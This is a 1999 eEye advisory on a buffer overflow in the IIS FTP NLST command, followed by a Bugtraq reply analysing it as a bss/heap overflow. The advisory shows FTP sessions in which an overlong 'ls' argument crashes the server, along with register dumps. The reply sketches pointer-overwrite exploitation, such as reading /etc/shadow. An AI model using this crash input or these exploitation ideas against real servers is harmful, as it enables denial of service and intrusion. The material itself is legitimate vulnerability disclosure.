________________________________________________________________________
eEye Digital Security Team
www.eEye.com
info@eEye.com
Sunday, January 24, 1999
________________________________________________________________________
Advisory:
IIS Remote FTP Exploit/DoS Attack
Systems Tested:
Windows NT 4.0 (SP4) IIS 3.0 / 4.0
Windows 95/98 PWS 1.0
Release Date:
Sunday, January 24, 1999
Advisory Code:
IISE01
________________________________________________________________________
Description:
________________________________________________________________________
While feeding in logic into Retina's artificial intelligence engine,
which helps construct query strings to pass to internet servers,
checking for overflow bugs and miss parsing of command strings. Our test
server stopped responding. Below is our findings.
Microsoft IIS (Internet Information Server) FTP service contains a
buffer overflow in the NLST command. This could be used to DoS a remote
machine and in some cases execute code remotely.
Lets look at the following example attack. [Comments are in brackets.]
The server must either have anonymous access rights or an attacker must
have an account.
C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
[The server has now processed our long NLST request and has crashed]
-> ftp: get :Connection reset by peer
[Our ftp client looses connection... that is a given]
The above example uses 316 characters to overflow. This is the smallest
possible buffer to pass that will overflow IIS. Lets take a look at the
server side happenings.
On the server side we have an "Application Error" message for
inetinfo.exe. "The instruction at '0x710f8aa2' referenced memory at
'0x41414156'. The memory could not be 'read'."
If we take a look at our registers we will see the following:
EAX = 0000005C EBX = 00000001
ECX = 00D3F978 EDX = 002582DD
ESI = 00D3F978 EDI = 00000000
EIP = 710F8AA2 ESP = 00D3F644
EBP = 00D3F9F0 EFL = 00000206
There is no 41 hex (Our overflow character) in any of our registers so
we chalk this up as a DoS attack for now.
Lets move on and take a look at the largest string we can pass to
overflow IIS.
C:\>ftp guilt.xyz.com
Connected to guilt.xyz.com.
220 GUILT Microsoft FTP Service (Version 4.0).
User (marc.xyz.com:(none)): ftp
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 Anonymous user logged in.
[The server must either have anonymous access rights or an attacker must
have an account]
ftp> ls AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA
200 PORT command successful.
150 Opening ASCII mode data connection for file list.
Connection closed by remote host.
In this case we passed 505 characters to overflow IIS. This is the
largest possible (tested) buffer to pass that will overflow IIS. Lets
take a look once again at the server side.
On the server we have the same "Application Error" message for
inetinfo.exe except this time "The instruction at '0x722c9262'
referenced memory at "0x41414141'." This is looking mighty interesting.
Lets look at our registers once again:
EAX = 00000000 EBX = 41414141
ECX = 41414141 EDX = 722C1CAC
ESI = 41414141 EDI = 41414141
EIP = 722C9262 ESP = 00D3F524
EBP = 00D3F63C EFL = 00000246
There sure are a lot of 41 hex codes in our registers now. >:-]
So to wrap it all up what we have here is a DoS attack against any IIS
server with ftp access. Keep in mind we have to be able to login.
However, Anonymous access is granted on most servers. Once we have
overflowed IIS all IIS services will fail. (I.E. The web service, NNTP,
SMTP etc..) What we have seems to be a very interesting buffer overflow.
________________________________________________________________________
Special Thanks
________________________________________________________________________
The eEye Digital Security Team would like to extend a special thanks to
Mudge and Dildog.
________________________________________________________________________
Copyright (c) 1999 eEye Digital Security Team
________________________________________________________________________
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express
consent of eEye. If you wish to reprint the whole or any part of this
alert in any other medium excluding electronic medium, please e-mail
alert@eEye.com for permission.
________________________________________________________________________
Disclaimer:
________________________________________________________________________
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties with regard to this information. In no event shall the
author be liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. Any use of this
information is at the user's own risk.
Please send suggestions, updates, and comments to: alert@eEye.com
eEye Digital Security Team
http://www.eEye.com
info@eEye.com
________________________________________________________________________
From mattc@enigma.repsec.com Sat Jun 19 14:34:28 1999
From: Matt Conover
Resent-From: mea culpa
To: BUGTRAQ@netspace.org
Resent-To: root@repsec.com
Date: Mon, 25 Jan 1999 17:05:31 -0700
Subject: Re: Advisory: IIS FTP Exploit/DoS Attack
> >On the server we have the same "Application Error" message for
> >inetinfo.exe except this time "The instruction at '0x722c9262'
> >referenced memory at "0x41414141'." This is looking mighty interesting.
That's because it overwrote a pointer (a bss overflow).
> >EAX = 00000000 EBX = 41414141
> >ECX = 41414141 EDX = 722C1CAC
> >ESI = 41414141 EDI = 41414141
> >EIP = 722C9262 ESP = 00D3F524
> >EBP = 00D3F63C EFL = 00000246
> >
> >There sure are a lot of 41 hex codes in our registers now. >:-]
> >
This is because it's overwriting data in the bss (where static poitners
are stored), which is then being used as arguments in something like
strcpy() or memcpy(). That fails because the pointer points to an invalid
address. The reason I assume it's a static pointer is because it's not
overwriting EIP. If it were on the stack overwriting the local pointer,
it'd also be able to overwrite EIP. That's because local variables come
below the return addresses on the stack and also have the capability to
overflow the return address (unless the program restricts it).
> >So to wrap it all up what we have here is a DoS attack against any IIS
> >server with ftp access. Keep in mind we have to be able to login.
> >However, Anonymous access is granted on most servers. Once we have
> >overflowed IIS all IIS services will fail. (I.E. The web service, NNTP,
> >SMTP etc..) What we have seems to be a very interesting buffer overflow.
>
> Well, unless I missed something neither of these cases indicates an easily
> exploitable buffer overflow.
Well, I think you both did. First, just because something doesn't
overwrite EIP, doesn't mean it can't be exploited! Second, it proably
_is_ an easily exploitable buffer overflow. You probably meant to say
it's not an easily exploitable "stack-based overflow." That's correct,
because it is not a stack-based overflow. See below.
> In both cases EIP and EBP are left unmolested.
EIP and EBP are left unmolested because it's not a stack overflow; it's a
bss overflow (specifically, it's overflowing a static buffer in the bss).
If it were a stack overflow, the arrangement of the variables wouldn't
have mattered (AFAIK). See my comments above. I explained how I can tell
(well, why I assume) it's a static buffer overflow in the bss.
Also, this can most likely be exploited fairly easy (as opposed to Seth's
comments). I cover several exploitation methods in an article I'm going
to post following this (look for "w00w00 on Heap Overflows"). Given that
you were able to overwrite the pointer with an arbitrary value, you can
also guess offsets into another buffer, that allows indirect exploitation
(filename pointers are a great example of this). For example, with
filename pointers, you could change the pointer from a valid string to
your argv[1], which could contain "/etc/shadow".
> If for some reason the order of variables on the stack is changed
> (perhaps with a different compiler or optimization) you may very well
> get the extra reach you need. As it stands you dont have it here.
I'll bet this has nothing to do with stack overflows.
> I suspect the same will be true of IIS, so you may get control of the
> processor with a specific revison but not another.
I doubt this is true. I'm not sure why most people assume it's always a
stack overflow. In this situation, I think it's much more likely this is
a heap/bss overflow.
Anyway, after I send this off, I will send out an article w00w00 Security
Development (WSD) and I have been working on for the last few weeks.
Although it has a few more things that should be cleared up, and a few
Look for the article, "w00w00 on Heap Overflows", today or tomorrow (it
will be posted here and to comp.security.*).
more case studies to add, this was an appropriate time to send it out. I
will post a final draft/revision after I finish adding everything.
Look for the article, "w00w00 on Heap Overflows", today or tomorrow (it
will be posted here and to comp.security.*).
I apologize for any errors in this post.